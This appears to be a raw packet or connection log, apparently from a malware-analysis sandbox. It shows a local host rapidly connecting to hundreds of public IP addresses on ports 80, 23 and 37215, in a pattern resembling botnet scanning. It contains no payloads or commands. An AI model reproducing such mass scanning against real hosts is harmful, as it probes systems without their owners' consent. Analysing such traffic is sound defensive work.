Dec 3, 2024 21:02:02.651998997 CET	20129	80	192.168.2.23	172.99.99.142
Dec 3, 2024 21:02:02.652004957 CET	20129	80	192.168.2.23	14.6.224.62
Dec 3, 2024 21:02:02.652005911 CET	20129	80	192.168.2.23	116.82.1.6
Dec 3, 2024 21:02:02.652019978 CET	20129	80	192.168.2.23	142.240.17.36
Dec 3, 2024 21:02:02.652026892 CET	20129	80	192.168.2.23	73.91.114.234
Dec 3, 2024 21:02:02.652026892 CET	20129	80	192.168.2.23	155.56.146.219
Dec 3, 2024 21:02:02.652039051 CET	20129	80	192.168.2.23	86.21.210.77
Dec 3, 2024 21:02:02.652041912 CET	20129	80	192.168.2.23	61.120.29.163
Dec 3, 2024 21:02:02.652041912 CET	20129	80	192.168.2.23	66.76.86.39
Dec 3, 2024 21:02:02.652041912 CET	20129	80	192.168.2.23	163.53.48.85
Dec 3, 2024 21:02:02.652041912 CET	20129	80	192.168.2.23	98.254.155.211
Dec 3, 2024 21:02:02.652046919 CET	20129	80	192.168.2.23	25.233.86.74
Dec 3, 2024 21:02:02.652050018 CET	20129	80	192.168.2.23	69.219.248.83
Dec 3, 2024 21:02:02.652054071 CET	20129	80	192.168.2.23	54.160.214.160
Dec 3, 2024 21:02:02.652060032 CET	20129	80	192.168.2.23	190.99.44.123
Dec 3, 2024 21:02:02.652065992 CET	20129	80	192.168.2.23	185.24.67.43
Dec 3, 2024 21:02:02.652066946 CET	20129	80	192.168.2.23	139.43.124.159
Dec 3, 2024 21:02:02.652081966 CET	20129	80	192.168.2.23	120.77.188.80
Dec 3, 2024 21:02:02.652081966 CET	20129	80	192.168.2.23	194.239.41.93
Dec 3, 2024 21:02:02.652082920 CET	20129	80	192.168.2.23	171.127.52.201
Dec 3, 2024 21:02:02.652093887 CET	20129	80	192.168.2.23	54.39.59.139
Dec 3, 2024 21:02:02.652093887 CET	20129	80	192.168.2.23	186.111.170.237
Dec 3, 2024 21:02:02.652098894 CET	20129	80	192.168.2.23	74.13.55.162
Dec 3, 2024 21:02:02.652103901 CET	20129	80	192.168.2.23	132.40.189.208
Dec 3, 2024 21:02:02.652116060 CET	20129	80	192.168.2.23	191.197.47.242
Dec 3, 2024 21:02:02.652117014 CET	20129	80	192.168.2.23	203.194.134.36
Dec 3, 2024 21:02:02.652132988 CET	20129	80	192.168.2.23	108.161.22.209
Dec 3, 2024 21:02:02.652132988 CET	20129	80	192.168.2.23	200.117.210.118
Dec 3, 2024 21:02:02.652132988 CET	20129	80	192.168.2.23	121.179.227.54
Dec 3, 2024 21:02:02.652149916 CET	20129	80	192.168.2.23	73.99.151.145
Dec 3, 2024 21:02:02.652151108 CET	20129	80	192.168.2.23	80.160.29.245
Dec 3, 2024 21:02:02.652153015 CET	20129	80	192.168.2.23	122.128.126.190
Dec 3, 2024 21:02:02.652158022 CET	20129	80	192.168.2.23	216.166.60.13
Dec 3, 2024 21:02:02.652168036 CET	20129	80	192.168.2.23	221.34.71.44
Dec 3, 2024 21:02:02.652173042 CET	20129	80	192.168.2.23	142.164.227.59
Dec 3, 2024 21:02:02.652173996 CET	20129	80	192.168.2.23	186.129.40.200
Dec 3, 2024 21:02:02.652177095 CET	20129	80	192.168.2.23	75.72.135.51
Dec 3, 2024 21:02:02.652179956 CET	20129	80	192.168.2.23	72.84.123.37
Dec 3, 2024 21:02:02.652185917 CET	20129	80	192.168.2.23	52.191.214.20
Dec 3, 2024 21:02:02.652225971 CET	20129	80	192.168.2.23	41.234.86.23
Dec 3, 2024 21:02:02.652225971 CET	20129	80	192.168.2.23	213.16.54.58
Dec 3, 2024 21:02:02.652225971 CET	20129	80	192.168.2.23	68.1.124.77
Dec 3, 2024 21:02:02.652225971 CET	20129	80	192.168.2.23	182.71.162.85
Dec 3, 2024 21:02:02.652226925 CET	20129	80	192.168.2.23	35.94.220.172
Dec 3, 2024 21:02:02.652226925 CET	20129	80	192.168.2.23	111.59.27.101
Dec 3, 2024 21:02:02.652230024 CET	20129	80	192.168.2.23	53.6.122.189
Dec 3, 2024 21:02:02.652230024 CET	20129	80	192.168.2.23	121.135.128.23
Dec 3, 2024 21:02:02.652230024 CET	20129	80	192.168.2.23	126.95.57.193
Dec 3, 2024 21:02:02.652230024 CET	20129	80	192.168.2.23	129.201.169.203
Dec 3, 2024 21:02:02.652230024 CET	20129	80	192.168.2.23	179.154.13.200
Dec 3, 2024 21:02:02.652237892 CET	20129	80	192.168.2.23	67.99.114.85
Dec 3, 2024 21:02:02.652237892 CET	20129	80	192.168.2.23	187.255.89.34
Dec 3, 2024 21:02:02.652237892 CET	20129	80	192.168.2.23	153.134.189.227
Dec 3, 2024 21:02:02.652240038 CET	20129	80	192.168.2.23	221.52.178.101
Dec 3, 2024 21:02:02.652240038 CET	20129	80	192.168.2.23	47.107.46.35
Dec 3, 2024 21:02:02.652240038 CET	20129	80	192.168.2.23	23.98.220.55
Dec 3, 2024 21:02:02.652241945 CET	20129	80	192.168.2.23	73.108.140.108
Dec 3, 2024 21:02:02.652242899 CET	20129	80	192.168.2.23	91.127.68.147
Dec 3, 2024 21:02:02.652244091 CET	20129	80	192.168.2.23	170.36.131.105
Dec 3, 2024 21:02:02.652244091 CET	20129	80	192.168.2.23	150.253.93.31
Dec 3, 2024 21:02:02.652244091 CET	20129	80	192.168.2.23	45.3.73.96
Dec 3, 2024 21:02:02.652250051 CET	20129	80	192.168.2.23	109.240.214.244
Dec 3, 2024 21:02:02.652251005 CET	20129	80	192.168.2.23	222.116.215.183
Dec 3, 2024 21:02:02.652250051 CET	20129	80	192.168.2.23	178.31.225.26
Dec 3, 2024 21:02:02.652252913 CET	20129	80	192.168.2.23	219.164.236.204
Dec 3, 2024 21:02:02.652255058 CET	20129	80	192.168.2.23	150.205.13.108
Dec 3, 2024 21:02:02.652256012 CET	20129	80	192.168.2.23	98.85.40.34
Dec 3, 2024 21:02:02.652256012 CET	20129	80	192.168.2.23	222.214.185.223
Dec 3, 2024 21:02:02.652256012 CET	20129	80	192.168.2.23	173.32.36.174
Dec 3, 2024 21:02:02.652257919 CET	20129	80	192.168.2.23	71.248.123.44
Dec 3, 2024 21:02:02.652259111 CET	20129	80	192.168.2.23	154.95.127.226
Dec 3, 2024 21:02:02.652261019 CET	20129	80	192.168.2.23	147.84.163.14
Dec 3, 2024 21:02:02.652261019 CET	20129	80	192.168.2.23	88.19.251.3
Dec 3, 2024 21:02:02.652264118 CET	20129	80	192.168.2.23	99.172.60.11
Dec 3, 2024 21:02:02.652266979 CET	20129	80	192.168.2.23	179.173.235.14
Dec 3, 2024 21:02:02.652266979 CET	20129	80	192.168.2.23	110.26.244.248
Dec 3, 2024 21:02:02.652278900 CET	20129	80	192.168.2.23	187.8.58.72
Dec 3, 2024 21:02:02.652286053 CET	20129	80	192.168.2.23	4.74.146.132
Dec 3, 2024 21:02:02.652286053 CET	20129	80	192.168.2.23	51.181.111.228
Dec 3, 2024 21:02:02.652287960 CET	20129	80	192.168.2.23	166.109.2.154
Dec 3, 2024 21:02:02.652288914 CET	20129	80	192.168.2.23	91.104.229.133
Dec 3, 2024 21:02:02.652288914 CET	20129	80	192.168.2.23	82.255.160.32
Dec 3, 2024 21:02:02.652288914 CET	20129	80	192.168.2.23	122.98.220.234
Dec 3, 2024 21:02:02.652288914 CET	20129	80	192.168.2.23	97.7.230.124
Dec 3, 2024 21:02:02.652291059 CET	20129	80	192.168.2.23	128.69.62.26
Dec 3, 2024 21:02:02.652293921 CET	20129	80	192.168.2.23	156.59.169.231
Dec 3, 2024 21:02:02.652293921 CET	20129	80	192.168.2.23	104.238.173.37
Dec 3, 2024 21:02:02.652293921 CET	20129	80	192.168.2.23	81.250.219.86
Dec 3, 2024 21:02:02.652298927 CET	20129	80	192.168.2.23	36.212.76.2
Dec 3, 2024 21:02:02.652304888 CET	20129	80	192.168.2.23	177.217.188.197
Dec 3, 2024 21:02:02.652308941 CET	20129	80	192.168.2.23	95.119.229.233
Dec 3, 2024 21:02:02.652319908 CET	20129	80	192.168.2.23	65.138.145.0
Dec 3, 2024 21:02:02.652324915 CET	20129	80	192.168.2.23	100.181.34.138
Dec 3, 2024 21:02:02.652324915 CET	20129	80	192.168.2.23	201.32.230.56
Dec 3, 2024 21:02:02.652343035 CET	20129	80	192.168.2.23	165.224.207.205
Dec 3, 2024 21:02:02.652343988 CET	20129	80	192.168.2.23	130.132.153.20
Dec 3, 2024 21:02:02.652343988 CET	20129	80	192.168.2.23	206.137.154.226
Dec 3, 2024 21:02:02.652343988 CET	20129	80	192.168.2.23	31.92.124.203
Dec 3, 2024 21:02:02.652357101 CET	20129	80	192.168.2.23	2.161.30.188
Dec 3, 2024 21:02:02.652359962 CET	20129	80	192.168.2.23	159.243.163.119
Dec 3, 2024 21:02:02.652363062 CET	20129	80	192.168.2.23	182.12.136.234
Dec 3, 2024 21:02:02.652363062 CET	20129	80	192.168.2.23	87.33.98.141
Dec 3, 2024 21:02:02.652378082 CET	20129	80	192.168.2.23	12.120.39.42
Dec 3, 2024 21:02:02.652384996 CET	20129	80	192.168.2.23	190.74.59.205
Dec 3, 2024 21:02:02.652384996 CET	20129	80	192.168.2.23	103.59.232.129
Dec 3, 2024 21:02:02.652385950 CET	20129	80	192.168.2.23	53.21.55.17
Dec 3, 2024 21:02:02.652389050 CET	20129	80	192.168.2.23	43.166.37.62
Dec 3, 2024 21:02:02.652389050 CET	20129	80	192.168.2.23	129.121.104.196
Dec 3, 2024 21:02:02.652404070 CET	20129	80	192.168.2.23	220.30.27.253
Dec 3, 2024 21:02:02.652410030 CET	20129	80	192.168.2.23	44.81.40.48
Dec 3, 2024 21:02:02.652416945 CET	20129	80	192.168.2.23	86.168.187.28
Dec 3, 2024 21:02:02.652420044 CET	20129	80	192.168.2.23	98.197.25.133
Dec 3, 2024 21:02:02.652436972 CET	20129	80	192.168.2.23	156.205.20.224
Dec 3, 2024 21:02:02.652436972 CET	20129	80	192.168.2.23	163.117.75.8
Dec 3, 2024 21:02:02.652439117 CET	20129	80	192.168.2.23	80.12.206.140
Dec 3, 2024 21:02:02.652439117 CET	20129	80	192.168.2.23	112.105.167.56
Dec 3, 2024 21:02:02.652439117 CET	20129	80	192.168.2.23	112.211.94.14
Dec 3, 2024 21:02:02.652445078 CET	20129	80	192.168.2.23	170.252.75.44
Dec 3, 2024 21:02:02.652457952 CET	20129	80	192.168.2.23	114.133.52.211
Dec 3, 2024 21:02:02.652458906 CET	20129	80	192.168.2.23	171.192.207.174
Dec 3, 2024 21:02:02.652467012 CET	20129	80	192.168.2.23	166.221.167.213
Dec 3, 2024 21:02:02.652468920 CET	20129	80	192.168.2.23	73.253.44.78
Dec 3, 2024 21:02:02.652482033 CET	20129	80	192.168.2.23	24.145.130.121
Dec 3, 2024 21:02:02.652482986 CET	20129	80	192.168.2.23	123.104.149.123
Dec 3, 2024 21:02:02.652482986 CET	20129	80	192.168.2.23	200.189.122.157
Dec 3, 2024 21:02:02.652493954 CET	20129	80	192.168.2.23	212.110.10.207
Dec 3, 2024 21:02:02.652498960 CET	20129	80	192.168.2.23	137.32.220.123
Dec 3, 2024 21:02:02.652503014 CET	20129	80	192.168.2.23	115.53.16.152
Dec 3, 2024 21:02:02.652504921 CET	20129	80	192.168.2.23	163.27.126.211
Dec 3, 2024 21:02:02.652506113 CET	20129	80	192.168.2.23	9.173.38.57
Dec 3, 2024 21:02:02.652506113 CET	20129	80	192.168.2.23	71.162.104.99
Dec 3, 2024 21:02:02.652520895 CET	20129	80	192.168.2.23	92.52.3.147
Dec 3, 2024 21:02:02.652522087 CET	20129	80	192.168.2.23	199.222.161.82
Dec 3, 2024 21:02:02.652522087 CET	20129	80	192.168.2.23	206.50.102.147
Dec 3, 2024 21:02:02.652539015 CET	20129	80	192.168.2.23	59.40.89.191
Dec 3, 2024 21:02:02.652540922 CET	20129	80	192.168.2.23	146.56.254.88
Dec 3, 2024 21:02:02.652540922 CET	20129	80	192.168.2.23	139.75.74.186
Dec 3, 2024 21:02:02.652540922 CET	20129	80	192.168.2.23	132.215.177.115
Dec 3, 2024 21:02:02.652540922 CET	20129	80	192.168.2.23	200.146.55.20
Dec 3, 2024 21:02:02.652540922 CET	20129	80	192.168.2.23	74.106.220.135
Dec 3, 2024 21:02:02.652553082 CET	20129	80	192.168.2.23	172.206.180.252
Dec 3, 2024 21:02:02.652554989 CET	20129	80	192.168.2.23	52.84.232.31
Dec 3, 2024 21:02:02.652566910 CET	20129	80	192.168.2.23	202.227.129.185
Dec 3, 2024 21:02:02.652571917 CET	20129	80	192.168.2.23	49.101.245.82
Dec 3, 2024 21:02:02.652573109 CET	20129	80	192.168.2.23	95.247.8.46
Dec 3, 2024 21:02:02.652573109 CET	20129	80	192.168.2.23	23.1.248.41
Dec 3, 2024 21:02:02.652573109 CET	20129	80	192.168.2.23	201.125.186.63
Dec 3, 2024 21:02:02.652578115 CET	20129	80	192.168.2.23	83.195.222.45
Dec 3, 2024 21:02:02.652580023 CET	20129	80	192.168.2.23	189.206.191.131
Dec 3, 2024 21:02:02.652599096 CET	20129	80	192.168.2.23	121.172.24.141
Dec 3, 2024 21:02:02.652601004 CET	20129	80	192.168.2.23	67.149.242.43
Dec 3, 2024 21:02:02.652602911 CET	20129	80	192.168.2.23	48.192.153.206
Dec 3, 2024 21:02:02.652602911 CET	20129	80	192.168.2.23	124.60.119.251
Dec 3, 2024 21:02:02.652612925 CET	20129	80	192.168.2.23	106.199.206.122
Dec 3, 2024 21:02:02.652621031 CET	20129	80	192.168.2.23	57.37.145.6
Dec 3, 2024 21:02:02.652621031 CET	20129	80	192.168.2.23	125.93.120.96
Dec 3, 2024 21:02:02.652621984 CET	20129	80	192.168.2.23	212.196.67.91
Dec 3, 2024 21:02:02.652637005 CET	20129	80	192.168.2.23	40.222.179.29
Dec 3, 2024 21:02:02.652638912 CET	20129	80	192.168.2.23	44.123.228.186
Dec 3, 2024 21:02:02.652647018 CET	20129	80	192.168.2.23	50.212.242.73
Dec 3, 2024 21:02:02.652647018 CET	20129	80	192.168.2.23	162.67.101.12
Dec 3, 2024 21:02:02.652657986 CET	20129	80	192.168.2.23	74.226.6.129
Dec 3, 2024 21:02:02.652659893 CET	20129	80	192.168.2.23	85.189.190.57
Dec 3, 2024 21:02:02.652667999 CET	20129	80	192.168.2.23	223.172.161.81
Dec 3, 2024 21:02:02.652673960 CET	20129	80	192.168.2.23	210.173.167.242
Dec 3, 2024 21:02:02.652678013 CET	20129	80	192.168.2.23	135.55.213.139
Dec 3, 2024 21:02:02.652683020 CET	20129	80	192.168.2.23	167.126.242.11
Dec 3, 2024 21:02:02.652683973 CET	20129	80	192.168.2.23	12.194.166.252
Dec 3, 2024 21:02:02.652683973 CET	20129	80	192.168.2.23	146.58.72.115
Dec 3, 2024 21:02:02.652700901 CET	20129	80	192.168.2.23	210.103.250.89
Dec 3, 2024 21:02:02.652700901 CET	20129	80	192.168.2.23	219.146.227.59
Dec 3, 2024 21:02:02.652704000 CET	20129	80	192.168.2.23	218.17.158.66
Dec 3, 2024 21:02:02.652704000 CET	20129	80	192.168.2.23	25.206.17.76
Dec 3, 2024 21:02:02.652704954 CET	20129	80	192.168.2.23	59.168.141.72
Dec 3, 2024 21:02:02.652714968 CET	20129	80	192.168.2.23	38.32.215.232
Dec 3, 2024 21:02:02.652726889 CET	20129	80	192.168.2.23	103.144.228.204
Dec 3, 2024 21:02:02.652728081 CET	20129	80	192.168.2.23	43.158.239.55
Dec 3, 2024 21:02:02.652729988 CET	20129	80	192.168.2.23	68.37.83.21
Dec 3, 2024 21:02:02.652738094 CET	20129	80	192.168.2.23	34.27.23.122
Dec 3, 2024 21:02:02.652744055 CET	20129	80	192.168.2.23	143.97.62.159
Dec 3, 2024 21:02:02.652745962 CET	20129	80	192.168.2.23	177.53.203.9
Dec 3, 2024 21:02:02.652748108 CET	20129	80	192.168.2.23	88.134.232.46
Dec 3, 2024 21:02:02.652753115 CET	20129	80	192.168.2.23	210.34.162.138
Dec 3, 2024 21:02:02.652769089 CET	20129	80	192.168.2.23	13.84.173.241
Dec 3, 2024 21:02:02.652770996 CET	20129	80	192.168.2.23	116.210.110.31
Dec 3, 2024 21:02:02.652772903 CET	20129	80	192.168.2.23	207.32.251.252
Dec 3, 2024 21:02:02.652774096 CET	20129	80	192.168.2.23	220.95.127.23
Dec 3, 2024 21:02:02.652774096 CET	20129	80	192.168.2.23	122.105.26.112
Dec 3, 2024 21:02:02.652776003 CET	20129	80	192.168.2.23	80.1.112.151
Dec 3, 2024 21:02:02.652777910 CET	20129	80	192.168.2.23	138.205.72.90
Dec 3, 2024 21:02:02.652779102 CET	20129	80	192.168.2.23	61.23.27.119
Dec 3, 2024 21:02:02.652781010 CET	20129	80	192.168.2.23	198.104.202.222
Dec 3, 2024 21:02:02.652781963 CET	20129	80	192.168.2.23	99.229.175.67
Dec 3, 2024 21:02:02.652786016 CET	20129	80	192.168.2.23	27.149.155.215
Dec 3, 2024 21:02:02.652793884 CET	20129	80	192.168.2.23	155.161.96.170
Dec 3, 2024 21:02:02.652796984 CET	20129	80	192.168.2.23	4.245.12.211
Dec 3, 2024 21:02:02.652808905 CET	20129	80	192.168.2.23	130.202.215.152
Dec 3, 2024 21:02:02.652810097 CET	20129	80	192.168.2.23	174.50.13.80
Dec 3, 2024 21:02:02.652820110 CET	20129	80	192.168.2.23	155.154.243.47
Dec 3, 2024 21:02:02.652820110 CET	20129	80	192.168.2.23	124.250.228.24
Dec 3, 2024 21:02:02.652820110 CET	20129	80	192.168.2.23	202.22.118.24
Dec 3, 2024 21:02:02.652820110 CET	20129	80	192.168.2.23	156.142.33.47
Dec 3, 2024 21:02:02.652832985 CET	20129	80	192.168.2.23	165.235.41.43
Dec 3, 2024 21:02:02.652834892 CET	20129	80	192.168.2.23	161.140.82.114
Dec 3, 2024 21:02:02.652836084 CET	20129	80	192.168.2.23	184.50.148.69
Dec 3, 2024 21:02:02.652848005 CET	20129	80	192.168.2.23	41.67.196.59
Dec 3, 2024 21:02:02.652853966 CET	20129	80	192.168.2.23	205.202.175.218
Dec 3, 2024 21:02:02.652853966 CET	20129	80	192.168.2.23	157.193.81.177
Dec 3, 2024 21:02:02.652863979 CET	20129	80	192.168.2.23	8.97.219.122
Dec 3, 2024 21:02:02.652864933 CET	20129	80	192.168.2.23	107.255.57.69
Dec 3, 2024 21:02:02.652867079 CET	20129	80	192.168.2.23	128.2.47.11
Dec 3, 2024 21:02:02.652869940 CET	20129	80	192.168.2.23	20.158.193.17
Dec 3, 2024 21:02:02.652872086 CET	20129	80	192.168.2.23	39.40.190.39
Dec 3, 2024 21:02:02.652884960 CET	20129	80	192.168.2.23	135.205.15.14
Dec 3, 2024 21:02:02.652885914 CET	20129	80	192.168.2.23	99.182.195.216
Dec 3, 2024 21:02:02.652885914 CET	20129	80	192.168.2.23	57.219.101.182
Dec 3, 2024 21:02:02.652887106 CET	20129	80	192.168.2.23	66.235.145.101
Dec 3, 2024 21:02:02.652899981 CET	20129	80	192.168.2.23	53.5.47.62
Dec 3, 2024 21:02:02.652905941 CET	20129	80	192.168.2.23	92.31.243.25
Dec 3, 2024 21:02:02.652909994 CET	20129	80	192.168.2.23	77.164.153.49
Dec 3, 2024 21:02:02.652911901 CET	20129	80	192.168.2.23	37.42.10.210
Dec 3, 2024 21:02:02.652911901 CET	20129	80	192.168.2.23	84.166.49.247
Dec 3, 2024 21:02:02.652911901 CET	20129	80	192.168.2.23	103.103.25.180
Dec 3, 2024 21:02:02.652921915 CET	20129	80	192.168.2.23	49.130.61.245
Dec 3, 2024 21:02:02.652926922 CET	20129	80	192.168.2.23	144.8.73.50
Dec 3, 2024 21:02:02.652930021 CET	20129	80	192.168.2.23	133.5.39.128
Dec 3, 2024 21:02:02.652946949 CET	20129	80	192.168.2.23	143.36.103.164
Dec 3, 2024 21:02:02.652949095 CET	20129	80	192.168.2.23	120.69.74.20
Dec 3, 2024 21:02:02.652949095 CET	20129	80	192.168.2.23	58.117.144.98
Dec 3, 2024 21:02:02.652951956 CET	20129	80	192.168.2.23	49.77.43.67
Dec 3, 2024 21:02:02.652957916 CET	20129	80	192.168.2.23	41.208.190.78
Dec 3, 2024 21:02:02.652960062 CET	20129	80	192.168.2.23	107.87.202.254
Dec 3, 2024 21:02:02.652973890 CET	20129	80	192.168.2.23	177.175.163.82
Dec 3, 2024 21:02:02.652973890 CET	20129	80	192.168.2.23	194.127.134.217
Dec 3, 2024 21:02:02.652980089 CET	20129	80	192.168.2.23	183.208.200.183
Dec 3, 2024 21:02:02.652980089 CET	20129	80	192.168.2.23	118.40.213.203
Dec 3, 2024 21:02:02.652988911 CET	20129	80	192.168.2.23	130.148.104.94
Dec 3, 2024 21:02:02.652992964 CET	20129	80	192.168.2.23	95.65.187.36
Dec 3, 2024 21:02:02.652995110 CET	20129	80	192.168.2.23	50.11.153.108
Dec 3, 2024 21:02:02.652998924 CET	20129	80	192.168.2.23	18.104.111.156
Dec 3, 2024 21:02:02.652998924 CET	20129	80	192.168.2.23	124.60.170.26
Dec 3, 2024 21:02:02.653002977 CET	20129	80	192.168.2.23	68.193.74.59
Dec 3, 2024 21:02:02.653002977 CET	20129	80	192.168.2.23	207.94.122.127
Dec 3, 2024 21:02:02.653002977 CET	20129	80	192.168.2.23	174.113.244.56
Dec 3, 2024 21:02:02.653002977 CET	20129	80	192.168.2.23	65.241.4.26
Dec 3, 2024 21:02:02.653004885 CET	20129	80	192.168.2.23	197.167.238.64
Dec 3, 2024 21:02:02.653002977 CET	20129	80	192.168.2.23	13.206.237.143
Dec 3, 2024 21:02:02.653006077 CET	20129	80	192.168.2.23	40.249.214.156
Dec 3, 2024 21:02:02.653011084 CET	20129	80	192.168.2.23	179.123.171.221
Dec 3, 2024 21:02:02.653019905 CET	20129	80	192.168.2.23	178.216.21.175
Dec 3, 2024 21:02:02.653028011 CET	20129	80	192.168.2.23	159.141.99.178
Dec 3, 2024 21:02:02.653029919 CET	20129	80	192.168.2.23	9.5.195.177
Dec 3, 2024 21:02:02.653032064 CET	20129	80	192.168.2.23	143.178.254.4
Dec 3, 2024 21:02:02.653045893 CET	20129	80	192.168.2.23	178.132.47.59
Dec 3, 2024 21:02:02.653050900 CET	20129	80	192.168.2.23	163.149.128.184
Dec 3, 2024 21:02:02.653050900 CET	20129	80	192.168.2.23	163.81.141.255
Dec 3, 2024 21:02:02.653065920 CET	20129	80	192.168.2.23	173.243.108.225
Dec 3, 2024 21:02:02.653070927 CET	20129	80	192.168.2.23	165.67.38.30
Dec 3, 2024 21:02:02.653072119 CET	20129	80	192.168.2.23	189.29.67.206
Dec 3, 2024 21:02:02.653075933 CET	20129	80	192.168.2.23	76.188.198.155
Dec 3, 2024 21:02:02.653079987 CET	20129	80	192.168.2.23	185.70.149.141
Dec 3, 2024 21:02:02.653089046 CET	20129	80	192.168.2.23	52.72.60.116
Dec 3, 2024 21:02:02.653090000 CET	20129	80	192.168.2.23	54.171.165.178
Dec 3, 2024 21:02:02.653099060 CET	20129	80	192.168.2.23	147.137.93.20
Dec 3, 2024 21:02:02.653110027 CET	20129	80	192.168.2.23	180.207.160.201
Dec 3, 2024 21:02:02.653116941 CET	20129	80	192.168.2.23	71.207.114.190
Dec 3, 2024 21:02:02.653117895 CET	20129	80	192.168.2.23	166.247.91.185
Dec 3, 2024 21:02:02.653117895 CET	20129	80	192.168.2.23	136.209.110.14
Dec 3, 2024 21:02:02.653564930 CET	48466	80	192.168.2.23	189.121.120.104
Dec 3, 2024 21:02:02.654148102 CET	44046	80	192.168.2.23	141.213.246.18
Dec 3, 2024 21:02:02.654710054 CET	57980	80	192.168.2.23	197.90.48.218
Dec 3, 2024 21:02:02.655286074 CET	46620	80	192.168.2.23	36.83.197.198
Dec 3, 2024 21:02:02.657015085 CET	37215	49864	41.4.78.113	192.168.2.23
Dec 3, 2024 21:02:02.657062054 CET	49864	37215	192.168.2.23	41.4.78.113
Dec 3, 2024 21:02:02.657243013 CET	37215	40590	156.195.107.152	192.168.2.23
Dec 3, 2024 21:02:02.657289028 CET	40590	37215	192.168.2.23	156.195.107.152
Dec 3, 2024 21:02:02.677489042 CET	56576	80	192.168.2.23	174.173.230.7
Dec 3, 2024 21:02:02.677495956 CET	59680	80	192.168.2.23	89.149.14.97
Dec 3, 2024 21:02:02.677496910 CET	49250	80	192.168.2.23	190.79.16.71
Dec 3, 2024 21:02:02.677496910 CET	58298	80	192.168.2.23	59.56.240.27
Dec 3, 2024 21:02:02.677503109 CET	48410	80	192.168.2.23	20.138.99.28
Dec 3, 2024 21:02:02.678821087 CET	23	41524	151.87.142.180	192.168.2.23
Dec 3, 2024 21:02:02.678894043 CET	41524	23	192.168.2.23	151.87.142.180
Dec 3, 2024 21:02:02.679297924 CET	41562	23	192.168.2.23	151.87.142.180
Dec 3, 2024 21:02:02.686851025 CET	23	60744	194.155.181.18	192.168.2.23
Dec 3, 2024 21:02:02.687167883 CET	23	60778	194.155.181.18	192.168.2.23
Dec 3, 2024 21:02:02.687207937 CET	60778	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:02:02.689271927 CET	23	50304	193.225.94.230	192.168.2.23
Dec 3, 2024 21:02:02.689332008 CET	50304	23	192.168.2.23	193.225.94.230
Dec 3, 2024 21:02:02.689677000 CET	50342	23	192.168.2.23	193.225.94.230
Dec 3, 2024 21:02:02.698999882 CET	23	50102	44.119.31.213	192.168.2.23
Dec 3, 2024 21:02:02.699086905 CET	50102	23	192.168.2.23	44.119.31.213
Dec 3, 2024 21:02:02.699403048 CET	50140	23	192.168.2.23	44.119.31.213
Dec 3, 2024 21:02:02.701462984 CET	23	51066	74.221.182.117	192.168.2.23
Dec 3, 2024 21:02:02.701513052 CET	51066	23	192.168.2.23	74.221.182.117
Dec 3, 2024 21:02:02.713078976 CET	23	37170	95.87.35.60	192.168.2.23
Dec 3, 2024 21:02:02.713483095 CET	23	37204	95.87.35.60	192.168.2.23
Dec 3, 2024 21:02:02.713524103 CET	37204	23	192.168.2.23	95.87.35.60
Dec 3, 2024 21:02:02.713829041 CET	23	47002	58.142.210.48	192.168.2.23
Dec 3, 2024 21:02:02.714149952 CET	23	47036	58.142.210.48	192.168.2.23
Dec 3, 2024 21:02:02.714215040 CET	47036	23	192.168.2.23	58.142.210.48
Dec 3, 2024 21:02:02.715822935 CET	23	54042	40.95.143.88	192.168.2.23
Dec 3, 2024 21:02:02.715887070 CET	54042	23	192.168.2.23	40.95.143.88
Dec 3, 2024 21:02:02.716207027 CET	54080	23	192.168.2.23	40.95.143.88
Dec 3, 2024 21:02:02.721261978 CET	23	38890	17.92.81.65	192.168.2.23
Dec 3, 2024 21:02:02.721438885 CET	23	38924	17.92.81.65	192.168.2.23
Dec 3, 2024 21:02:02.721477032 CET	38924	23	192.168.2.23	17.92.81.65
Dec 3, 2024 21:02:02.731869936 CET	23	37002	9.79.192.108	192.168.2.23
Dec 3, 2024 21:02:02.731957912 CET	37002	23	192.168.2.23	9.79.192.108
Dec 3, 2024 21:02:02.732295990 CET	37040	23	192.168.2.23	9.79.192.108
Dec 3, 2024 21:02:02.732322931 CET	23	60098	102.232.137.110	192.168.2.23
Dec 3, 2024 21:02:02.732652903 CET	60098	23	192.168.2.23	102.232.137.110
Dec 3, 2024 21:02:02.732911110 CET	60136	23	192.168.2.23	102.232.137.110
Dec 3, 2024 21:02:02.750406027 CET	23	34504	46.74.21.128	192.168.2.23
Dec 3, 2024 21:02:02.750678062 CET	23	34538	46.74.21.128	192.168.2.23
Dec 3, 2024 21:02:02.750688076 CET	23	46370	121.220.27.35	192.168.2.23
Dec 3, 2024 21:02:02.750722885 CET	34538	23	192.168.2.23	46.74.21.128
Dec 3, 2024 21:02:02.750752926 CET	46370	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:02:02.751075983 CET	46408	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:02:02.757714987 CET	23	47640	132.183.192.11	192.168.2.23
Dec 3, 2024 21:02:02.757780075 CET	47640	23	192.168.2.23	132.183.192.11
Dec 3, 2024 21:02:02.757862091 CET	23	59936	96.252.143.108	192.168.2.23
Dec 3, 2024 21:02:02.758054972 CET	47678	23	192.168.2.23	132.183.192.11
Dec 3, 2024 21:02:02.758387089 CET	23	44136	36.21.85.164	192.168.2.23
Dec 3, 2024 21:02:02.758419991 CET	59936	23	192.168.2.23	96.252.143.108
Dec 3, 2024 21:02:02.758661032 CET	60528	23	192.168.2.23	96.252.143.108
Dec 3, 2024 21:02:02.759001970 CET	44136	23	192.168.2.23	36.21.85.164
Dec 3, 2024 21:02:02.759248972 CET	44176	23	192.168.2.23	36.21.85.164
Dec 3, 2024 21:02:02.760776997 CET	23	39272	45.252.170.0	192.168.2.23
Dec 3, 2024 21:02:02.761085987 CET	23	39306	45.252.170.0	192.168.2.23
Dec 3, 2024 21:02:02.761132956 CET	39306	23	192.168.2.23	45.252.170.0
Dec 3, 2024 21:02:02.771842003 CET	80	20129	180.213.220.136	192.168.2.23
Dec 3, 2024 21:02:02.771871090 CET	80	20129	66.239.105.236	192.168.2.23
Dec 3, 2024 21:02:02.771883965 CET	80	20129	95.151.233.29	192.168.2.23
Dec 3, 2024 21:02:02.771930933 CET	20129	80	192.168.2.23	180.213.220.136
Dec 3, 2024 21:02:02.771940947 CET	20129	80	192.168.2.23	66.239.105.236
Dec 3, 2024 21:02:02.771945000 CET	20129	80	192.168.2.23	95.151.233.29
Dec 3, 2024 21:02:02.771970987 CET	80	20129	182.202.139.121	192.168.2.23
Dec 3, 2024 21:02:02.771981955 CET	80	20129	72.156.95.79	192.168.2.23
Dec 3, 2024 21:02:02.771991014 CET	80	20129	64.190.107.191	192.168.2.23
